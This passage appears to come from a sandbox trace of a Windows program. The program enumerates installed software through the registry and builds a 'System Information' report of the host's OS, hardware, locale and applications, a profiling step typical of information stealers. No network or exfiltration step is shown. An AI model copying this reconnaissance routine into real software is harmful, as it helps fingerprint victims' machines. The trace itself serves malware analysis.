English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n") returned 2911 [0262.296] LocalAlloc (uFlags=0x40, uBytes=0x182c) returned 0x6f5688 [0262.297] LocalFree (hMem=0x6f35b0) returned 0x0 [0262.297] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.299] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.299] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.300] LocalFree (hMem=0x6bec00) returned 0x0 [0262.300] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.300] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x31, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.300] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{9BE518E6-ECC6-35A9-88E4-87755C07200F}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.300] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.300] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.300] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpcbData=0x24fac4*=0x7e) returned 0x0 [0262.301] LocalAlloc (uFlags=0x40, uBytes=0x20fc) returned 0x6f6ec0 [0262.301] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="9.0.30729.6161", lpcbData=0x24facc*=0x1e) returned 0x0 [0262.301] StrStrW (lpFirst="Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161", lpSrch="9.0.30729.6161") returned="9.0.30729.6161" [0262.301] wsprintfW (in: param_1=0x6f6ec0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n") returned 65 [0262.301] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n", lpSrch="\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n") returned 0x0 [0262.301] lstrlenW (lpString="\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n") returned 65 [0262.301] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n") returned 2966 [0262.301] LocalAlloc (uFlags=0x40, uBytes=0x18ae) returned 0x6e5058 [0262.302] LocalFree (hMem=0x6f6ec0) returned 0x0 [0262.303] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.303] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.303] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.303] LocalFree (hMem=0x6bec00) returned 0x0 [0262.303] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.303] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x32, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{B175520C-86A2-35A7-8619-86DC379688B9}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.304] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{B175520C-86A2-35A7-8619-86DC379688B9}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.304] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.304] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.304] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpcbData=0x24fac4*=0x7c) returned 0x0 [0262.304] LocalAlloc (uFlags=0x40, uBytes=0x20f8) returned 0x6f35b0 [0262.304] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="11.0.61030", lpcbData=0x24facc*=0x16) returned 0x0 [0262.304] StrStrW (lpFirst="Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030", lpSrch="11.0.61030") returned="11.0.61030" [0262.304] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n") returned 64 [0262.304] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n", lpSrch="\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n") returned 0x0 [0262.304] lstrlenW (lpString="\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n") returned 64 [0262.304] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n") returned 3031 [0262.304] LocalAlloc (uFlags=0x40, uBytes=0x192e) returned 0x6f56b0 [0262.305] LocalFree (hMem=0x6f35b0) returned 0x0 [0262.306] LocalFree (hMem=0x6f15a8) returned 0x0 [0262.307] LocalFree (hMem=0x6ef5a0) returned 0x0 [0262.307] RegCloseKey (hKey=0x2b8) returned 0x0 [0262.307] LocalFree (hMem=0x6bec00) returned 0x0 [0262.307] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0262.307] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x33, lpName=0x6bec00, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0262.308] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0262.308] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0262.308] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0262.308] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpcbData=0x24fac4*=0x76) returned 0x0 [0262.308] LocalAlloc (uFlags=0x40, uBytes=0x20ec) returned 0x6f35b0 [0262.308] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="11.0.61030", lpcbData=0x24facc*=0x16) returned 0x0 [0262.308] StrStrW (lpFirst="Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030", lpSrch="11.0.61030") returned="11.0.61030" [0262.308] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n") returned 61 [0262.308] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n\x09Microsoft Office Professional Plus 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 \n\x09Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 11.0.61030.0\n\x09Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 12.0.30501.0\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 14.25.28508.3\n\x09Microsoft Visual C++ 2005 Redistributable 8.0.61001\n\x09Microsoft Access MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Excel MUI (English) 2016 16.0.4266.1001\n\x09Microsoft PowerPoint MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Publisher MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Outlook MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Word MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Proofing Tools 2016 - English 16.0.4266.1001\n\x09Outils de vérification linguistique 2016 de Microsoft Office - Français 16.0.4266.1001\n\x09Herramientas de corrección de Microsoft Office 2016: español 16.0.4266.1001\n\x09Microsoft Office Proofing (English) 2016 16.0.4266.1001\n\x09Microsoft InfoPath MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared MUI (English) 2016 16.0.4266.1001\n\x09Microsoft DCF MUI (English) 2016 16.0.4266.1001\n\x09Microsoft OneNote MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Groove MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office OSM UX MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Access Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Skype for Business MUI (English) 2016 16.0.4266.1001\n\x09Update for Microsoft .NET Framework 4.8 (KB4503575) 1\n\x09Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 \n\x09Microsoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 \n", lpSrch="\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n") returned 0x0 [0262.308] lstrlenW (lpString="\x09Microsoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 \n") returned 61 [0262.309] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) 